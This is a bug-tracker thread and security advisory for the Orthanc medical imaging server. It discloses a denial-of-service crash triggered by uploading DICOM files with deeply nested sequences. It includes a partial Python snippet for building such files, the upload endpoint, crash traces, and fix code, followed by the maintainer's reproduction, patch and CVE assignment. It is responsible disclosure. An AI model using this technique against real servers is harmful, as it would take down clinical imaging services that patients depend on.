| Summary: | Security - Denial of Service via Deeply Nested DICOM Sequences | ||
|---|---|---|---|
| Product: | Orthanc | Reporter: | elp3pinill0 |
| Component: | Orthanc Core | Assignee: | Alain Mazy <am> |
| Status: | CONFIRMED --- | ||
| Severity: | major | CC: | am |
| Priority: | --- | ||
| Version: | unspecified | ||
| Hardware: | All | ||
| OS: | All | ||
| Attachments: |
dicom_nested_50
poc_deep_sequence python script to generate dicoms |
||
Thanks for the report. Could you provide us with the full python code to generate a file with a defect so I can increase the nesting level to trigger the issue on my dev PC ? I just tested it with the mainline (post 1.12.11) and I have no crash in the DCMTK although there is indeed a deep recursion. I can see that DCMTK has already fixed the nesting issue last month but that won't be easy to : https://github.com/DCMTK/dcmtk/commit/885ff0f10372bd589b5f44cea974f28a3964cb0f Thanks for your help Created attachment 150 [details]
poc_deep_sequence python script to generate dicoms
find attached the .py to generate DICOMs with more more sequence nested.
(In reply to Alain Mazy from comment #1) > Thanks for the report. > > Could you provide us with the full python code to generate a file with a > defect so I can increase the nesting level to trigger the issue on my dev PC > ? > > I just tested it with the mainline (post 1.12.11) and I have no crash in the > DCMTK although there is indeed a deep recursion. > > I can see that DCMTK has already fixed the nesting issue last month but that > won't be easy to : > https://github.com/DCMTK/dcmtk/commit/ > 885ff0f10372bd589b5f44cea974f28a3964cb0f > > Thanks for your help True, dimcon_nested_50 might be too small for some devices, try with a bigger one. I've attached the python script so you can generate bigger nested sequences. I just wanted to mention I just tested in a docker with 1.12.10 version and it crashed at 3500-4000 more or less but you can try bigger. I dont know if the outcome will be the same with version 1.12.11. Thanks ! I can reproduce it now. Let's fix it ... Do you wish to be credited for this finding in the release notes ? If yes, can you provide your Name and Organization. Thanks again ! (In reply to Alain Mazy from comment #4) > Thanks ! I can reproduce it now. Let's fix it ... > > Do you wish to be credited for this finding in the release notes ? > If yes, can you provide your Name and Organization. > > Thanks again ! sure, you can call me Jose Lopez Martinez aka elpe_pinillo :) and I work as offensive security researcher at Deloitte. Would you mind if I apply for CVE as well? If it's ok do you have any preference for a CNA in particular? Or if you prefer to do it yourselve... just let me know. Thanks for your time. Feel free to apply for a CVE (I prefer you take care of it). I already have an account on https://kb.cert.org/vince but don't hesitate to select another platform Fix implemented in this commit: https://orthanc.uclouvain.be/hg/orthanc/rev/bae99026ca97 I'm waiting for the CVE number to integrate in the release notes before closing this issue. It's ok I can apply for it, I will let you know as soon as I get it. Keep in touch. CVE-2026-10528 assigned. |
Created attachment 149 [details] dicom_nested_50 ### Denial of Service via Deeply Nested DICOM Sequences **Severity:** High (CVSS 7.5) **Component:** `OrthancFramework/Sources/DicomParsing/FromDcmtkBridge.cpp` + DCMTK `libdcmdata` **Affected versions:** Orthanc ≤ 1.12.10 (all current releases) #### Description Uploading a DICOM file containing deeply nested Sequence of Items (SQ) causes a stack overflow in the civetweb HTTP worker thread, crashing the entire Orthanc process. Two mutually recursive call chains both lack any depth limit: **Chain 1 — DCMTK parsing (crashes at ~50 levels):** ``` DcmItem::read() └─ DcmSequenceOfItems::read() └─ DcmItem::read() └─ ... (no depth check anywhere) ``` **Chain 2 — Orthanc JSON serialization (would crash independently):** ```cpp // FromDcmtkBridge.cpp ~line 1218 void ElementToJson(..., unsigned int depth) { DcmSequenceOfItems& seq = dynamic_cast<DcmSequenceOfItems&>(element); for (unsigned long i = 0; i < seq.card(); i++) { DatasetToJson(v, *child, ..., depth + 1); // NO DEPTH LIMIT } } void DatasetToJson(..., unsigned int depth) { for (unsigned long i = 0; i < item.card(); i++) { ElementToJson(parent, *element, ..., depth); // CALLS BACK } } ``` #### Exploitation Craft a DICOM with N levels of nested private SQ sequences (Explicit VR Little Endian, undefined-length encoding). Upload to `POST /instances`. ```python # 50 levels of nesting → SIGSEGV in civetweb worker thread ITEM_TAG = struct.pack('<HH', 0xFFFE, 0xE000) + b'\xff\xff\xff\xff' for _ in range(50): buf.write(pack_tag(0x7777, 0x0001) + b'SQ\x00\x00' + b'\xff\xff\xff\xff') buf.write(ITEM_TAG) for _ in range(50): buf.write(SEQ_END_TAG + ITEM_END_TAG) ``` Crash confirmed in `DcmItem::readTagAndLength` (libdcmdata.so.19.3.6.9 offset 0x10ae0b): ``` dmesg: civetweb-worker[...]: segfault at ... error 6 in libdcmdata.so.19.3.6.9 ``` The crash kills the entire Orthanc server process (all HTTP/DICOM services stop), not just the handler thread, because the worker is part of the single Orthanc process. #### Impact - Complete availability loss for all Orthanc services until manual restart - Attackable from any network with HTTP access to port 8042 - A single 2.3 KB DICOM file is sufficient; no looping or sustained traffic needed - Particularly severe in clinical environments where Orthanc is used for patient imaging #### Root Cause DCMTK's `DcmItem::read()` / `DcmSequenceOfItems::read()` recursion has no depth limit. Orthanc's `DatasetToJson()` / `ElementToJson()` also has no depth limit. The fix requires adding a depth check in both: ```cpp // In DcmItem::read() / DcmSequenceOfItems::read() (DCMTK upstream fix) if (nestingDepth > MAX_SQ_DEPTH) return EC_InvalidTag; // In Orthanc FromDcmtkBridge.cpp void DatasetToJson(..., unsigned int depth) { if (depth > 64) { target.append(Json::objectValue); return; } ... } ``` #### Remediation - **Orthanc:** Add depth limit (~64 levels) to `DatasetToJson()` / `ElementToJson()` in `OrthancFramework/Sources/DicomParsing/FromDcmtkBridge.cpp` - **DCMTK:** Add depth limit to `DcmItem::read()` (report to DCMTK maintainers separately) ---